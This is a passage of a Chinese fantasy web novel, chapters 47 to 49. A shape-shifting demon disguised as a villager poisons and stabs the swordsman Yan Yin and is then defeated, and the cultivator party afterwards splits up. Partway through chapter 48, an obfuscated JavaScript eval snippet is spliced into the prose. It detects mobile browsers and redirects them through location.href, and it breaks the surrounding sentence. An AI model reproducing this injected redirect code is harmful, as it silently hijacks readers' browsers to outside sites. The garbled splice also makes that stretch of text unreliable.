在这关头,她忽然联想起晚绿当初被屠夫占便宜还无知无觉的事,又惊觉,晚绿的世俗观念似乎较常人而言要薄弱许多。红杏出墙也不是没可能啊?反正老公现在还在床上躺着,她给自己纳个二房,刘郊也毫无办法不是。 她的好奇心一发不可遏,很想用通讯符联系言隐,听听那两人正在聊些什么。 可是......这能对吗,跟查岗似的,她和言隐还没到那种关系呢。 47. 第 47 章 晚绿的家离酒楼没有太远,二人步行过去,顶了天也就半个时辰。 临近河岸,有水波晃荡的声音,草间伏着萤火虫,月光洒满地,然而没几个人有心思欣赏这份夜景,大家都匆匆忙忙地往家赶,好似黑夜里潜藏着什么可怕的怪物,追在人们的影子后面伺机而发。 一路上的气氛堪称尴尬,晚绿费尽心思找话题,一副对言隐很感兴趣的样子,问他的过去,问他的家人,问他的经商经历。 言隐只偶尔搭腔,倒不是故意要装高冷,而是他这身份本来就是假的,说多错多,干脆不说。 他步子迈得大,想赶紧送完了事,可晚绿始终不紧不慢迈着小碎步,言隐不得不迁就她的速度,回过头瞪着她,咬牙切齿地发出疑问:“为什么你走的这么慢?” “腿没你长。” “......” “急什么,你瞧,现在的景色多漂亮。白天人来人往的时候,可看不见萤火虫。” 晚绿蹲下来,手指一点一点靠近,想要去触碰那发亮的小虫,可惜在她碰到之前,虫子就飞走了,一团荧光颤烁着远去,飘向更遥远的河岸。 言隐:“看不见萤火虫,不是因为人多,而是因为白天它发光你也看不出来。” 晚绿抬头,盯了他半晌,忽地嗤笑出声:“你这男人还真是......” “什么。” “不解风情。” “?” 言隐脸上的表情产生了微妙的变化,他皱着眉思考——“不解风情”这词用在这语境对吗?听起来像是打情骂俏时候会说的话,有点莫名其妙。 晚绿一个跃步,贴近了他:“这副表情,是在想什么?” 她没有盘发,粗麻花辫低低的垂在肩侧,略一歪头,少女的天真流露得很自然,这副灵动活泼的神态为她的脸庞增了色,令她看起来比实际年龄显得年轻许多,看不出已嫁作人妇多年,倒像个未出阁的姑娘。 “榆木脑袋,榆木脑袋。”晚绿恨铁不成钢般,摇了摇头。“为什么你就这么油盐不进呢?我对你的讨好,你一点也不受用,看来我是做了无用功啦。” 生锈的大脑缓缓转动,像是零散的碎片拼成了完整的拼图,言隐忽然意识到这段时间晚绿对他的古怪态度源自何处了.......她该不会是,喜欢他? 但晚绿家里不是已经有个相公了吗,搞什么,想发展婚外情啊? 懒得再去深究里头的弯弯绕绕,言隐干脆直接问了:“为什么要讨好我,听你语气,不会是对我有意思?” “跟你聊天真是聊不下去。”晚绿叹着气抱怨,“有时候烦你不接话,但你接了话更烦。” “跟你聊天也聊不下去,答非所问的。”言隐反呛,“而且你有够奇怪,我都送你回家了,你却诸多不满,怨这怨那。我没义务给你提供情绪价值,只负责保证你这段路上的安全而已。而且你到底是不是喜欢我?” “不喜欢。” “那就好。” “你喜欢我吗?” “完全不。我应该没有做过让你产生错觉的事?”言隐疑惑。 “至少肯送我回家。”晚绿语气飘忽,言隐分不清她是不是在阴阳怪气,“看来我的讨好多少有点效果?你还愿意管我,怕我死了。又或者你只是单纯做好人好事?” 言隐一滞:“我不是好人。送你回家是萧唤月的意思,她拿你当朋友,自然不会置你死活于不顾。” “嗯?你真觉得她把我当朋友,一直以来不都是我单方面在烦扰她么。” 言隐惊讶:“原来你知道啊。” “有什么办法,我热脸贴冷屁股,结果你俩的屁股都捂不热。” “你捂我俩的屁股做什么。” “......”晚绿额上爆出一条青筋,咬牙切齿地微笑,“你不明白,我不怪你。” “你不说我怎么明白。” “马上你就明白了。”晚绿搭着他的肩膀,一个看似暧昧的动作,却指尖用力到泛白,好似害怕他逃走般。“其实我们以前见过的。” “......什么时候?”这就怪了,言隐自认不是脸盲,既然见过,为何一点印象都没有? “很久以前了。”晚绿的语气状似有些惆怅,“所以,在新萩第一眼看见你的时候,我就想,一定要让你记起来。既然天意让我们重逢,那我绝不辜负上天的好意。” 搭在言隐肩膀上的那只柔弱无骨的手,皮肤像被撑开的塑料袋那样变形,原本纤细的手指变粗变长。虎口处有厚茧,像是长期握剑所致。 言隐低头注视着这无声的变化,似有所想。一股奇特的熟悉感涌上心头,令他没有第一时间挣脱晚绿。 她的身量和声音也变了,像是一个男人在这张皮里重新站了起来。 很诡异的场面,言隐没被吓到,但心中升起疑惑与不安。他拔剑,与她拉开了距离。 “我的好徒儿。”男人哈哈大笑,“怎么,认不出我了?” 言隐心头一震,剑尖不稳地抬起。半晌,他厉声问道:“......你是谁。” “我都叫你徒儿了,我能是谁。”男人摇头抱怨,“我离开好像也没有多久吧,这就把为师忘了个一干二净,为师好伤心。” 言隐冷笑一声:“盈缺不会用这么恶心的语气跟我说话。” “你总是这么不可爱,”男人无奈道,“把温情时刻说成恶心,这就是你不讨人喜欢的原因啊,小隐。” 剑若游龙,眨眼间已至男人喉前,再进一寸,就会割开他的皮肉。可男人没退,依旧笑眯眯地看着言隐:“还是这么沉不住气。” 言隐的目光比刀锋更厉,刮过男人的脸,是观察也是检视。脸的确是那老家伙的脸没错,但妖类善于伪装,他不会这么容易上当。令他不解的是,什么妖会知道他和盈缺当年的往事? 可恶,早知发善心没有好下场,他今天就不该送那女人回家,让她死在半路上好了。 那样的话,后面的事情就都不会发生。 气血翻涌,胃里泛起一股令人想吐的恶心感,同时伴随着眩晕症状。言隐不觉得这是情绪激动所致,更像是有人给他下了蒙汗药之类的东西......那种眩晕感是生理性的。 好在他还能握得稳剑,剑尖往前送了一厘,恶狠狠地盯着对面的人:“别装神弄鬼。” “错错错,不是神也不是鬼,是你师父本父。”男人摇头晃脑,“其实你已经信了吧,不然为何不动手?” 男人迎着剑尖往前走了半步,那剑却跟着他的动作往后缩。 言隐:“你究竟想做什么?” “别紧张啊,师父现在不比当年,不是你的对手啦。”男人继续往前走,张开双臂,竟似要给言隐一个拥抱。 言隐略带警告地出声:“晚绿。” “不用再叫我这个名字,晚绿是晚绿,我是我。伪装成那小姑娘只是权宜之计罢了......师父什么时候骗过你,来,走近点,师父看看你长高了没有。” 男人语气里没带什么激烈的情绪,平平淡淡的,就好像他们还是师徒,隔开他们的只是一柄没有威胁的软剑,而不是百年的时光。 言隐有片刻的恍神,其实他脑子也没有那么笨,很多时候是懒得想事情,因为身边有比他更聪明的人,助长了他的惰性。 然而此刻那个人不在身边,他只能自己思考,自己参悟。 这个伪装成他师父的家伙究竟是何居心?言隐与他周旋的同时不得不同时动用脑筋搜刮起自己那段生了尘的往事,难道当初有漏掉什么细节么,盈缺的坟墓还在村子里,那样的结局是他自己选的,言隐没有阻拦。 但是......他真的死透了吗? 这种怀疑出现在言隐脑子里的时候,他的剑颤动了一下,昭示着他不太稳当的心绪。 应该联系萧唤月......动脑子的事情她比较擅长。 终于想起通讯符的存在,他正要伸手去拿,对面人的拥抱却先一步来到。温暖的宽厚的,长者的拥抱,好像又让他变回从前那个毛头小子,他讨厌这种感觉。 但下一刻,这虚幻的温暖就现出毒蛇原型,对准他的要害来了一口。 感受到后心的刺痛,言隐慢一拍的反应过来——这是被捅了啊。一般的利器很难伤得了他,但男人用的不是凡器。 他缓缓低头,伤口仍在持续失血,他几乎被捅了个对穿。竟然为此松了口气,这就对了,这才对嘛。 “咦。”男人又变回娇俏的少女语气,可声线依然是雄浑的男音,听起来显得有点不伦不类。“奇怪。” 但很快,男人的身形也开始发生变化,那张方阔脸的轮廓逐渐趋于柔和。晚绿不耐地啧了一声,她也没想到这幅外观维持的时间居然会这么短,幸好她下手够快。 不过奇怪的是......晚绿趴在言隐的肩上,呈双手环抱的姿势,在他脊背处的伤口摸索了半天,并没能如愿以偿撕开他的皮。 “为什么。手感不对,你的皮肉不像是......”她嘟囔。 下一刻漆黑的长剑如飞燕般轻盈而至,剑锋划过的弧度像水面上荡开的涟漪,一切都好似慢动作,晚绿感受到凛冽的杀机,只来得及看清对面女孩的脸。 女孩手握长剑,睫毛颤动,像被露珠沾湿的羽毛。她的眼神愤怒,挡在言隐身前站定。剑身嗡鸣,似乎是感应到了主人的情绪。 这愤怒是对着晚绿的......她一直以来都把晚绿当成一个普通人,是需要保护的对象。可晚绿欺骗了她,拿她的信任做跳板,伤害了她的同伴。目的不明,但事实如此。 晚绿啐出一口血,擦干净嘴,忽而低低地笑了:“你不是走了吗,又回来做什么,萧唤月。” “不回来不就看不到这出好戏了么。妖类果然狡猾,演技出色得让我想鼓掌。”萧唤月冷冷地说。 晚绿的眼睛被萧唤月那一剑划瞎了,手臂也被砍伤,暂时失去了行动能力。 方才晚绿把所有妖力都灌注进言隐的伤口里,正在做为他剥皮的准备。与此同时她的灵魂也在自己躯壳里晃漾,类似蜕皮期间的蛇,那是她最脆弱的时候。 萧唤月的那一击却倾注了满满的灵力,她无力反抗。 晚绿想不通。她做了万全的准备,在八宝鸡里下了毒,争取到与言隐独处的机会,又偷走了他的通讯符,支走萧唤月。最后她对言隐的袭击也确实成功了,可为什么在最后一步失败。 是毒药的剂量太少了么?面前两个人看起来活蹦乱跳的,药物作用似乎已经消退了。 唉,晚绿叹气。下毒这件事她还是不太熟练,剂量少了会不起作用,多了又怕被看出来。 以前杀人都是以活剥为主,哪里用得着这么麻烦。 “别沮丧。”言隐的声音响起,“其实你差不多已经得手了,可惜,我不是人。” 晚绿一时没明白他是什么意思,以为他在炫耀自己能力远超常人。言隐也没想解释。局势已定,晚绿狼人自爆,这出戏结束了。 “你挺强的,是新萩这群妖怪的老大?”言隐缓缓道,“不想被瓮中捉鳖,所以铤而走险,想干掉我们,对吗。” 晚绿的回答却耐人寻味:“......起初是。” 这群修士的伪装很差劲,她早就看出他们身份不简单。 本想试试能不能通过博取信任的方式接近他们,杀掉他们,再偷窃他们的皮囊。但是在见到言隐的时候,她的第一目标立刻从萧唤月改换成言隐,连妖族复兴大业都被抛在了脑后。 她当时唯一的念头就是——要让言隐去死。 让他的痛苦胜过妖族同类千倍百倍。 “你恨我。”言隐得出这个结论,“难为你曾经违背本心来讨好我......不过,我究竟在哪里得罪过你?” 他说得很迂回,本意是想问晚绿为什么会知道盈缺的事,但又觉得如果直接问的话她多半不会说。 然而晚绿没准备瞒着他,到了生命的尽头她不再做任何伪装了,脸上满是嘲讽:“在一个小村子里,你不记得了?” “不记得。” 晚绿沉着脸,冷笑一声:“那时你是帮凶,你师父是主谋。你们杀得很干净,只漏了我一个。” 言隐:“......哦。” 原来是那一次。 萧唤月:“啊?” 他这么平淡的反应有点出乎晚绿意料,连萧唤月的声音都听起来比他惊讶。 晚绿以为他至少会有那么一点后悔,如果当初这对师徒没 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“前段时间特意回了趟村子,很久没有回到那里了,你师父的坟居然还在。”晚绿不理会萧唤月,阴恻恻道,“修仙之人的尸体腐得慢,但仍架不住年月已久。我勉强修了修,也只能用那么一会儿。” 原因之二还在于这副皮囊修缮得不是很完备,言隐一行人似乎不久后就要离开,她不得不加快进度,没有时间也没有心情再跟他们玩交朋友游戏。 言隐:“......说这些是想激怒我?” 萧唤月不动声色地握住他的手。 言隐转头对萧唤月道:“联系昭意过来收尾吧?剩下的事情交给他了,我们回去睡觉。” “......好。” “不生气么?”晚绿嘲讽,“看来是我想错了,你并没有我以为的那么在乎你师父。” “你想看我生气,我偏不如你意。盈缺死了百来年了,他的尸骨迟早会回归天地。你让我又见了他一次,感谢你还来不及。”言隐的声音听不出喜怒。 晚绿嘴角一抽:“你师承盈缺,必然是与他如出一辙的伪君子,如今装什么正道魁首,当真可笑。” 言隐身上的伤口已经开始止血,以肉眼可见的速度开始愈合。他不急不躁地反驳晚绿:“谁告诉你我跟正道魁首四个字沾边了。至于盈缺么,或许算。” 晚绿似乎听到了什么可笑的事:“你说盈缺是正道?因为杀了两个人要死要活,却不见对我们妖族有过半分怜悯之心,你们修仙界还真是......” 言隐打断她:“人与妖向来各自为营,多余的怜悯之心有什么用。况且容我提醒一句,事情的起因是你们屠了一整个村子。” “我当时年纪尚小,还......”她想说自己当时还是只幼崽,正处于观摩阶段,没有亲自动手实践。然而她意识到这话听起来像是在为自己开脱,于是闭了嘴。 那时候杀没杀人有什么重要,反正后来杀了不少,她从没后悔过。 “哦。”言隐露出恍然大悟的神色,“说不定盈缺放过你就是因为这个。一时心软酿成这般祸害,如果他还活着,会气得再死一次。” “你......”晚绿气急。 “别说了,我懒得听。你马上就要死了,你的妖族同类也要死,不得不说你算是我见过的比较特别的妖,居然会想着为同族报仇。不过恭喜你,你们马上就要在另一个世界团聚了,不会孤单。” 想让妖族拧成一股绳还是太困难,它们远不如人类的领导者那样会收拢人心。大家的默契是各自为战,偶尔为了一致的目标而共同行动,但中途分崩离析的可能性很大。 晚绿知道,她与言隐的恩怨在其他大妖看来不足为道,妖族应该向着更加远大的目标前进。可天下妖物种类何其繁多,在晚绿心里,死在那个小村子的妖,才是她最亲近,最愿意为之付出的,真正的同族。 她昂起头,恶狠狠道:“就算我死了,你们修仙界也别想安生。” 萧唤月:“我得纠正一下,其实我们修仙界一直没有多安生,大大小小的争斗就没停过。” 不过眼下妖族格外的不安分,局势可能会稍微动荡一下子。师兄师姐的态度是早预防早安心,按照过往经验,妖族每隔一段时间就会搞点大动作,严加防范即可。 昭意和路承蕊动作很快,在收到消息后没多久就赶了过来,将晚绿双手反绑收进了关押妖类的法器。 言隐揽过萧唤月的肩膀,一眼也没看晚绿的惨状:“对了,我刚刚想起个事。” “嗯?” “她取代了晚绿的身份,那真正的‘晚绿’肯定已经受害了。刘家其他人估计也没逃掉,我们是不是应该把刘郊和刘婶......” 关押妖物的法器金盅忽而振动了一下,里面传来清亮的女声:“没有。” 那妖用了自己原本的声线,没有用晚绿的。 言隐一时没反应过来:“谁在说话。” “刘婶和她儿子,没有被夺舍,也没有被剥皮。”那声音又说。 言隐:“不妨说清楚点儿?” 昭意有些惊讶,被收进金盅的妖怪已经被封了要穴,挣扎不能。而晚绿的声音尚能穿透盅身,显然是动用了法力,这不合理。莫非她的妖力深不可测,金盅无法完全限制她? 言隐凑过去:“这女人话说一半怎么又不说了。师兄,能掀开盅盖看看么。” 昭意点头,把盖子掀开一条缝,谨慎地观察其中情况。 出乎意料的是,晚绿没有使诈也没留后手,方才她为了让自己的声音能传出盅外,用尽了残余的全部妖力,简直是自杀式喊话,如今在盅底彻底化成一滩血水,徒剩一张空荡荡的皮。 死得这么突然,连路承蕊都愣了一下。这只奇怪的妖,没求饶没诈降,死前留下的最后一句话居然是在为刘家人做解释。难不成是装晚绿装得太久,真把自己代入成刘婶的儿媳了?拼上性命也要为他们辩解清白。 如果晚绿得知路承蕊此时的想法一定会气得跳脚,什么叫拼上性命,她本来就萌生了死志,知道落在这群人手上不会有好下场,不如自我了断。 死前说的那两句话完全是顺带,她的确没对刘郊和刘婶下手,那两个蠢货侥幸逃过一劫,得知真相后一定会后怕得不行。 48. 第 48 章 虽然真正的晚绿只剩一张皮,但也好过只剩衣冠冢。 萧唤月将这不算遗体的遗体送回刘家,向她的家人们说明了情况。晚绿的亲生父母早已去世,能称之为家人的,自然只有刘郊和刘婶了。 刘婶的反应比萧唤月想象中平淡一些,没有嚎啕大哭。细线似的泪珠留下来,表情却很平静。 世上从此再没有晚绿这个人了,意识到这一点,刘婶觉得心里发堵,愣愣看着堂屋桌上吃剩的饭菜,总有种晚绿还活着的错觉。小碗里特意留着一只鸡腿,是给晚绿留的。 “节哀。”萧唤月只能这样说。 “那鸡腿......就给刘郊吃了吧。”刘婶喃喃,往堂屋走去,猝不及防被门槛绊了一跤,“哎哟”一声,摔得趴在地上,磨破了手掌。 感到痛了,她的哭声才大起来,拍打着地面,泄愤似的——本就不痛快,连这破门槛都要跟她作对。 萧唤月给刘婶敷上膏药,耐心地等在一旁,直到她情绪好转,才扶她去凳上坐着。 “我儿子晚饭吃得少。”刘婶指着那只鸡腿,“姑娘,麻烦你帮我把这个送到他房间。放在那里,他自己会吃的。” 估摸着刘婶是想一个人静静,萧唤月一言不发端起碗,往刘郊的房间走。下意识敲了敲门,又忽然想起他得了疯病,敲门有什么用,他又不会回应。 然而出乎意料的是,里面竟然传来一个虚弱的男人的声音:“稍等。” 一阵窸窣的衣料摩擦声响起,随后门被打开,一个男人站在房内,正是已经穿戴整齐的刘郊。他看着长了点肉,不似上次见面时那般削瘦。 他低低咳了一声:“姑娘方便进来说话吗,我娘......这种时候,让她一个人待会儿吧。” 萧唤月愣住:“刘郊......?” “是我。” “你能说话啦?” “差不多。之前也偶尔有过清醒的时刻,反反复复的,这次似乎彻底醒过来了。”刘郊苦笑,“不过现在路还走不好,干不了重活。” 萧唤月点头,长期卧床的病人是这样,肌肉萎缩,走路无力。问题不大,以后可以慢慢通过锻炼的方式恢复。 瞧着他神智似乎已经回归清明,若母子俩相互照应,刘婶的日子总归不会太难。 萧唤月跨进房内,略显拘谨地放下那只鸡腿:“那病确定以后不会再犯了么?” “应该不会了。晚绿......我是说那只妖,她靠近我的时候,我犯病会厉害些。前段时间她不知去了哪里,我一个人待着,脑子里渐渐能想通一些事情了。刚才听到你和我娘在外面讲话,我突然就......”他指着自己的太阳穴,“这里好像通畅了一样。” 没想到刘郊的病还和那妖有关。萧唤月安慰道:“也许她用了什么致幻的手段,好在没来得及夺去你性命。” “很久之前,我就隐约察觉到她有问题。想要试探她,却被她看穿了意图。”刘郊摇头叹息,“唉,我实在愚蠢,怎么会想要与妖博弈。若我第一时间去找钦天监的人,便不会被她搞出疯病来,拖累我娘那么久。” 她的确装得很像晚绿。刘郊想,这只妖大概事先观察了他们很久,连一些微末的小习惯也能模仿去,但他与晚绿情重意深,朝夕相处,夜夜同眠,总能有看出破绽的时候。 “你试探未果,她居然没有杀了你。”萧唤月有些惊奇。 “这点我也想不通。或许就像养着待宰的家畜那样,想留我到有用的时候吧。” “我还以为它们逮到机会就会杀人呢。”萧唤月想起在刘家借宿的那一次。 刘家人住这么久没事,她只住了一晚就遭遇袭击,想想有点奇怪。莫非是晚绿早知她身份不简单,借机试探? 她问刘郊,“你晚上睡觉的时候,有没有感觉到遇到过什么特殊情况,比如感觉有什么东西爬到你背上......” “没有。” 刘郊先是给出了否定的回答,但萧唤月一直盯着他,明显是不太信。他只好动用脑筋冥思苦想,从跟晚绿成婚开始,顺着时间线慢慢推。 良久,眉头一松,他总算回忆起了一件事。 “不知道算不算......有天晚上,我觉得背有点痛,像有什么东西在里面搅。我摸过了,没摸到背上有虫子之类的玩意儿。那时候晚绿在我身边,我痛也不敢出声,悄悄忍着。直到她问我,为什么醒着却不出声。我说我怕吵醒她。” “然后呢?” “她当时语气有点怪,说了句,算了,睡吧。下半夜她给我抹了一种药膏,我背就慢慢的不疼了。我们这种人,又不是娇生惯养的老爷小姐,身体有点病痛再正常不过,这事儿我没放在心上,本来都快忘了。你今天一问,我才想起来。” 萧唤月:“......啊。”她心知多半不是简单的背痛,那些妖喜欢攻击人的脊骨位置,钻进去,将皮肉分离。听刘郊的描述,很符合这种情况。 这么说来,刘郊并不是没被袭击过。 也许那只妖对刘郊心软了。但她已经死去,很多事情无法再问个明白。刘郊看起来也并不在意,他对杀害了妻子的妖不可能生出半分怜惜。 萧唤月走出房门,看到刘婶伏趴在堂屋的桌子上,不知是在哭泣还是在睡觉。她走过去轻轻拍了拍刘婶的肩膀,刘婶才回过神来,缓缓抬头。 “刘婶,我要走了......您可以去刘郊的房间看看,他好转很多。” 没有明说刘郊已经神智恢复,因为萧唤月觉得,刘婶自己亲眼目睹,会比别人口述来的冲击力要更大,但愿这份惊喜能减淡一点她的悲伤。 “孩子,走之前带几个烧饼。”刘婶勉强笑了一下。这种时候她也没忘了要给客人拿点东西,“这几天我应该不会出去卖饼了,多余的吃不完,浪费了可惜。” 萧唤月低下眼睫,忽然问道:“晚绿她,以前会陪您出去卖饼吗?” 这话有揭人伤疤的嫌疑,但刘婶面上闪过一丝哀意,并没有因她的问题而生气,只心平气和地擦去眼泪,慢慢道:“你没有跟真正的晚绿相处过,那么问的应该是假的那个?她会。” 那只妖,贴心懂事的程度与真晚绿一样,什么都模仿得很像,包括这种细节。 萧唤月初来新萩的时候,一直以为刘婶做着形单影只的买卖。 看来晚绿是有意识地避开了她,把她们的初遇伪装成经刘婶介绍才相识,让萧唤月对她的戒备心进一步降低。 刘婶不知萧唤月此刻所想,只觉心中一痛。怪自己心大,如果能早点发现...... 如果能早点发现,好像也不会有所不同。 刚擦去的泪水又往外冒,刘婶胡乱擦拭了一番,抬起头,在模糊的视线里看到萧唤月渐渐远去的背影。 刘婶想提醒她是不是忘了拿饼,话刚冒头又缩回去。算了,这姑娘不是爱忘事的性子,没拿或许是不想。烧饼本来也不算什么美味佳肴,一直吃,早该吃腻了。 之前与萧唤月闲聊之际,刘婶听她说起过,不会在新萩久住。 这种漂泊无定的人,应该不会一直喜欢吃同样的东西吧? 萧唤月轻轻关上院门。 再过几天她就要离开新萩了,这片土地上的人和物都将远去,以后不知还有没有回来的机会。 她一向喜欢把重要物品随身携带,让她舍不得的东西,自然是能带走就带走。这里似乎没剩下什么令人格外留恋的东西了。 除了刘婶做的烧饼还挺好吃的。 她出门之前从货箱里摸了一叠烧饼,箱子瞬间空了一半。她怕刘婶腹谤她饿死鬼投胎,眼疾手快地盖上了盖子,顺便扔了几块碎银进去。 此时三个人默默凑到萧唤月身边,脸上写满了求知欲,一言不发,仿佛都在等着萧唤月先开口。 萧唤月哭笑不得:“你们守在外面做什么。让你们进来又不肯,在外面吹风可凉快了?” 路承蕊:“咳,这不是你跟刘婶比较熟嘛,我们去了,怕她戒备。如何,你觉得那妖临死前说的话是真是假?刘家人看起来有没有问题?” “我觉得没有......但我的判断不一定完全准确。可以让钦天监的人再暗中观察一段时间。” 路承蕊微不可查地松了口气:“没问题的话是最好不过了。” * 新萩局势的确是在朝着好的方向发展。在丘山众人离开之前,小皇帝周启域亲自带人来接花梁燕,顺带和萧唤月打了个招呼。 他看上去平易近人,没有什么皇帝架子。几年过去,孩子气收敛了些,比萧唤月上次见到他时沉稳很多。 “监正,你该回十燕城了。”周启域言简意赅道。“这个地方,另找人来替。比起新萩,皇城更重要。” 花梁燕略一思忖,点了点头:“也是时候了。”她不可能永远待在这儿,眼下局势渐朗,留下两个心腹坐镇即可。 况且周启域亲自来接她,这点面子多少还是要给。 “十燕城最近还好吗?”花梁燕问。 “不好。监副最近忙得焦头烂额,盼你回去主持大局。”周启域慢慢道,“有脏东西在坊市间出没,装神弄鬼,哄人献祭。” 萧唤月紧张起来:“献祭?” “比如用一条腿换一块金子,用一双眼睛换一位仇家暴毙......你知道,总有生活不得志,郁郁寡欢的傻瓜,会上这种当。献祭自己不会有好下场,他们不懂这道理。”周启域看了她一眼,“对了,你父母还在十燕城。你是想问他们的情况吧?” “是。” “他们很好。” 得到周启域的肯定回答,萧唤月松了口气。其实小皇帝话语间有添油加醋的嫌疑,说的是真话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14995322|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没错,但还没到“焦头烂额”的程度,要破局只需加强反诈宣传。 倒是昭意很上心:“需要我们前去帮忙么?” 周启域:“你们不是还有自己的事要做。” 其实丘山小队的任务差不多快结束了,只差最后一步,把镜妖送到苦心谷。 昭意:“眼下我们尚有余力。” “我师兄就是这样路见不平拔刀相助的好人。”言隐提出建议,“不如这样,分头行动。我和萧唤月去苦心谷送东西,师兄师姐去十燕城帮忙。或者我们去十燕城,你们去苦心谷。” 难得被言隐夸了一回的昭意愣住,但仔细想想言隐这番话,似乎有点可行性。 周启域:“唔,可以啊。事情当然是越快解决越好。” 昭意想了想:“那还是采用第一种,我和路承蕊一同去十燕城。师弟师妹,你们按照原先的路线前进。”他下意识把更难的任务揽在了自己身上。 反正苦心谷离得不远,他和小蕊打头阵,师弟师妹可以在解决掉镜妖的事情之后再赶来汇合。 萧唤月十万分赞成言隐的提议。谁先谁后倒是没那么重要了,昭意和路承蕊的话,一定能成为钦天监强有力的帮手,她很放心。 况且昭意曾经见过她的父母,以他的妥帖程度,连陌生人的闲事都要管,更何况有过一面之缘的师妹的父母。他一定会保证萧吟山和云婉的安全。 路承蕊对此亦没有意见。 于是事情就这样敲定下来,大家择日出发,分头行动。 “我们加快速度吧。”萧唤月跟言隐商量,“早点出发?这样能快些到达十燕城,与他们汇合。” 还有一点私心,她想借这机会,回去探望一下老爹老娘。 “好。” 花梁燕还有些收尾工作要做,需在新萩再待两日。 萧唤月和言隐先行出发,路承蕊为他们整理好行囊,好似第一次送儿女出游的老母亲,塞了一堆吃的,生怕他们饿死在半路上似的。 路承蕊会有这样的担忧不奇怪。 在新萩待了这么几个月,偶尔打两场小架,不痛不痒的,跟泡温泉一样,一路上磨炼出的战斗技巧和敏锐的感知力都快被泡蒸发。野外生存能力也有所下降,急需复健。 花梁燕出于情谊前来送行,看着昭意和路承蕊这副儿行千里母担忧的模样,冷言道:“适当的磨难很有必要,或许该对你们的师弟师妹多点信任。” 路承蕊:“我师父说,苦头吃得越少越好。” 花梁燕不置可否,眉头一挑,忽然道:“你的师父是......八万春长老?” 从监正嘴里听到师父的名号还挺新奇的,路承蕊挠了挠下巴:“是。你跟他有交情吗?” “交情谈不上,我很尊敬他。”花梁燕话题一转,“一直忘了问,丘山诸位长老可都还安好?” “丘山没什么异动,应该都挺好。除了隐居的那位......我不太了解。” 露叶连长老,可谓是位不世出的奇人了。路承蕊这等老资历的弟子,仍对其所知甚少,连面都没见过两回。 “是么。”花梁燕似乎只是随口一问,对她的回答不甚在意。 言隐和萧唤月准备出发了,与其他人挥手道别。路承蕊想起什么,提醒道:“能避免的战斗尽量避免,低调为上。” 花梁燕:“能用暗器就别打架。” 路承蕊:“就是这个意思。” 萧唤月心道,言隐好像于暗器一途颇有造诣,这点与花梁燕倒是不谋而合。 “我懂我懂!”萧唤月转向花梁燕,眼里带着几分好奇,“不过,监正。我以为你只用重剑,喜欢大开大合的战斗。” 花梁燕抿唇笑了一下,忽而抬手抚鬓,指尖一转,三枚陨铁发簪飞出,钉入远处树干。手指一勾,发簪又被召回。 萧唤月:“喔!这得结合御物术吧。” 花梁燕点头:“不错。” 言隐目光沉沉,像是看到了什么新奇的玩具。他盯着花梁燕看了半晌,忽然伸手讨要:“监正,我可以看一看你的发簪么?” 花梁燕很大方地给了他一枚:“可以。但如果你要打造暗器,这种发簪样式的参考性不高。” “我不是想参考。”他一顿,“只是觉得这个挺好看......” 花梁燕不喜繁琐复杂的款式,况且暗器该以隐蔽性为先,颜色上相当低调,几乎与乌发融为一体,唯有簪头花纹的工艺看得出用了几分心思,形似凤冠鸠的羽冠。 言隐觉得这花纹很眼熟。 “是你自己做的吗?”他问。 “嗯,这不难。”花梁燕看了他一眼,又补充,“如果你们想要,我可以命人再造几枚。” 言隐摇头:“不用,只是觉得这花纹很特别。” 花梁燕笑了笑,没再说话。 49. 第 49 章 越往苦心谷去,瘴气就越为浓厚。为避免灵力紊乱从剑上掉下来,萧唤月与言隐选择步行。以他们的脚力,至多三日就能到苦心谷,不会耽搁太多时间。 一路上言隐出乎意料地话很少,萧唤月看出他几番欲言又止,料想是有话要与她讲。她很坏心地没有追问,同样保持沉默,看他什么时候憋不住。 入夜歇脚,对着火堆,言隐终于摆出要促膝长谈的姿势。 他摊开手,一枚发簪在手心显形。玉质的簪身,羽冠样式的花纹,看上去是手工所制,已经有些年头。 萧唤月一眼瞧出这与花梁燕的暗器发簪很是相似。心头闪过疑惑,她靠近,看看簪子又看看言隐:“......这不是你的吧。” 看起来像是姑娘家用的东西。 “是我师父的遗物。”言隐问,“你也觉得,跟花梁燕的发簪很像对不对?” 萧唤月观察半晌,慢慢坐回原位,点了点头。 “这只簪子,是盈缺留着要送给他老相好的,结果还没送出去,两人就闹掰了。自杀前他特意把这东西留在房间里没有带走,簪子底下压着张纸条,上面写,请我有机会将这东西转交给‘怜儿’。” “怜儿,是他老相好的名字?” “是。”言隐一副要大吐苦水的模样,“可天下叫怜儿的女子何其多,他也没给我留幅肖像画,单留个名字,是想让我找,还是不想让我找?” “你没见过你师娘么。” “没。早在盈缺捡到我之前,他和那女人就已经分开了。还是有次他酒后失言,我才知道有这么个‘师娘’的存在。” 萧唤月沉默片刻,挠挠脑袋:“所以现在是什么情况,这发簪是定情信物之类的东西吗?” “差不多吧。这样式很独特,簪头纹是盈缺自己设计的,据说是因为那位怜儿养过一只漂亮的凤冠鸠。” “如此说来,监正手上出现同款发簪不会是巧合,难道她还有个小名叫怜儿......等等,她多少岁了啊?” “......不知道。”言隐往火堆里丢了根树枝,“说不定盈缺给怜儿看过发簪的设计图纸,两人分开之后怜儿照着图纸批量生产发簪,从小卖铺干起,从此走上致富之路......” 萧唤月打断他的胡思乱想:“如果是对于修仙之人来说,这样的赚钱效率实在太低了点。” 言隐低低笑了:“确实。” “现在怎么办,要回去找监正确认一下吗?” “不用。怕人多眼杂,我已经给她送了密信。如果她真改过名,说不定是有意掩盖自己曾经的身份。” “我还以为你想来征求我意见,原来事情你都办完了。” “就是想倾诉一下......” 言隐慢慢地把头偏过去,脑袋虚搭在萧唤月的肩头。 萧唤月身子一僵,脑中思量了一番,最终没有推开他。咳嗽一声,她将背挺直了,正好让言隐的脑袋实打实靠在了她身上。 她低头,略显得意地朝言隐挑了挑眉:如果你累了,你可以靠在朋友宽阔的胸膛里。 